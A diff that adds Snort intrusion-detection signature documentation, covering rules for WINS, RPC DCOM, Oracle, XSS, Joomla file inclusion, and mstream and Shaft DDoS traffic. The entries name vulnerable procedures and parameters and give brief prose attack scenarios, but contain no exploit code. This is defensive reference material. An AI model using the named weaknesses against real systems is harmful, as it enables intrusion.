+bytes, and a standard request has 12 bytes of headers, no standard
+request should exceed this length. Additionally, this rule checks to see
+if particular flags that are required to exploit this vulnerability are
+set in the client request.
+
+--
+Affected Systems:
+Microsoft Windows servers running the WINS service.
+
+--
+Attack Scenarios: 
+Since WINS clients are programmed to not exceed the maximum length for a
+request, an attacker would need to use a script which generated
+malformed WINS requests.
+
+-- 
+Ease of Attack: 
+Simple; exploits exist.
+
+-- 
+False Positives:
+This rule will generate false positives when replication occurs.
+Additionally, there may be unknown scenarios which generate false positives.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+See the Microsoft Knowledge Base article referenced below.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+http://support.microsoft.com/kb/890710
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3006.txt
+++ snort-2.8.5.2/doc/signatures/3006.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+3006
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+vulnerability in Freespace 2.
+
+--
+Impact:
+A successful attack may present an attacker with the opportunity to
+execute arbitrary code on a vulnerable system.
+
+--
+Detailed Information:
+A vulnerability exists in in Freespace 2 that may allow an attacker to
+execute code of their choosing on a vulnerable system.
+
+The problem lies in the handling of data by the client application when
+processing server responses. Proper checks are not performed by the
+client application and large amounts of data in a server response may
+trigger a buffer overflow condition to occur, thus presenting the
+attacker with the opportunity to execute code.
+
+--
+Affected Systems:
+	Freespace 2
+
+--
+Attack Scenarios:
+An attacker may supply a large amount of data containing code of their
+choosing in a server response to client requests.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/994.txt
+++ snort-2.8.5.2/doc/signatures/994.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 994
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3059.txt
+++ snort-2.8.5.2/doc/signatures/3059.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+3059
+
+--
+Summary:
+This event is generated when an attempt is made to initiate a TLS
+connection via SSL version 2.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This rule indicates that an attempt has been made to initiate a TLS
+connection via SSL v2. This rule should not generate an event.
+
+--
+Affected Systems:
+	All implementations using SSL.
+
+--
+Attack Scenarios:
+NA
+
+--
+Ease of Attack:
+NA
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+NA
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3367.txt
+++ snort-2.8.5.2/doc/signatures/3367.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3367
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2835.txt
+++ snort-2.8.5.2/doc/signatures/2835.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2835
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure purge_master_log
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/250.txt
+++ snort-2.8.5.2/doc/signatures/250.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+250
+
+--
+Summary:
+The event is generated when a DDoS mstream handler responds to an mstream client.
+
+--
+Impact:
+Severe.  If the source IP is in your network, it is possibly an mstream handler.  If the destination IP is in your network, it is possibly an mstream client.
+
+--
+Detailed Information:
+The mstream DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. At the highest level, clients communicate with handlers to direct them to launch attacks.  A client may contact a handler using a TCP SYN packet to destination port 15104.  A listening handler would respond to this on source port 15104 with a string of ">" in the payload.
+
+--
+Affected Systems:
+Any mstream compromised host.
+
+--
+Attack Scenarios:
+After a host becomes an mstream handler, the client will attempt to communicate with the handler.  A handler will respond to this communication.
+
+
+--
+Ease of Attack:
+Simple. mstream code is freely available.
+
+--
+False Positives:
+A legitimate server port of 15104 will cause this rule to fire.  This rule may also generate a false positive if port 15104 is selected as an FTP data port.
+
+--
+False Negatives:
+There are other known client-to-handler ports in addition to 15104.
+
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/910.txt
+++ snort-2.8.5.2/doc/signatures/910.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+910
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1309.txt
+++ snort-2.8.5.2/doc/signatures/1309.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1309
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/241.txt
+++ snort-2.8.5.2/doc/signatures/241.txt
@@ -0,0 +1,63 @@
+Rule:
+--
+Sid:
+241
+
+--
+Summary:
+This event is generated when a DDoS Shaft handler agent launchs a SYN flood against a target. 
+
+--
+Impact:
+Attempted DDoS. If the listed source IP is in your network, it may be a Shaft agent.  If the listed destination IP is in your network, your host may be a target of a DDoS SYN flood. 
+
+--
+Detailed Information:
+The Shaft DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. Agents are hosts that are directed to launch attacks.  One type of attack that may be launched is a SYN flood of a target.  The SYN packets have a telltale initial sequence number of 674711609. 
+
+--
+Affected Systems:
+Any Shaft compromised host.
+
+--
+Attack Scenarios:
+A Shaft agent may attack a target using a SYN flood. 
+
+--
+Ease of Attack:
+Simple. Shaft code is freely available.
+
+--
+False Positives:
+It is possible that an innocuous SYN packet will have a sequence number of 674711609.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS253
+
+Miscellaneous:
+http://biocserver.cwru.edu/~jose/shaft_analysis/
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000462.txt
+++ snort-2.8.5.2/doc/signatures/100000462.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000462
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "Open WebMail" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "From" parameter in the "openwebmail-read.pl" 
+script used by the "Open WebMail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Open WebMail
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3216.txt
+++ snort-2.8.5.2/doc/signatures/3216.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3216
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2781.txt
+++ snort-2.8.5.2/doc/signatures/2781.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2781
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_snapshot_repgroup
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000463.txt
+++ snort-2.8.5.2/doc/signatures/100000463.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000463
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Joomla" application running on a webserver. 
+Access to the file "joomla.php" using a remote file being passed as the 
+"includepath" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "includepath" parameter in the "joomla.php" script used 
+by the "Joomla" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Joomla
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2792.txt
+++ snort-2.8.5.2/doc/signatures/2792.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2792
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure purge_master_log
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000455.txt
+++ snort-2.8.5.2/doc/signatures/100000455.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000455
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "Axent Forum" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "startrow" parameter in the "viewposts.cfm" 
+script used by the "Axent Forum" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Axent Forum
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1181.txt
+++ snort-2.8.5.2/doc/signatures/1181.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1181
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1356.txt
+++ snort-2.8.5.2/doc/signatures/1356.txt
@@ -0,0 +1,48 @@
+Rule:
+
+--
+Sid:
+1350
+
+--
+Summary:
+Attempted perl access via web
+
+--
+Impact:
+Attempt to execute a perl script on a host.
+
+--
+Detailed Information:
+This is an attempt to execute a perl script on a host. Perl is a scripting language that is available on a wide variety of platforms. By default perl code runs with full access to all libraries and inbuilt commands available to the language. When combined with the access permissions of the user executing the script, the consequences of running arbitrary code can be devastating
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP transaction that includes a reference to perl in the URI.
+
+--
+Ease of Attack:
+Simple HTTP.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. perl may also be requested on a command line should the attacker gain access to the machine. Whenever possible, all perl scripts on the host should be written using the restriceted access mode. This forces perl to execute the scripts in a "sandbox" which will disallow unsafe operations in the code.
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+sid: 1349
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1736.txt
+++ snort-2.8.5.2/doc/signatures/1736.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1736
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2955.txt
+++ snort-2.8.5.2/doc/signatures/2955.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2955
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1799.txt
+++ snort-2.8.5.2/doc/signatures/1799.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1799
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "fisting".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "fisting".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/370.txt
+++ snort-2.8.5.2/doc/signatures/370.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+370
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a host running BeOS4.x.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a host running BeOS4.x contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS151
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000161.txt
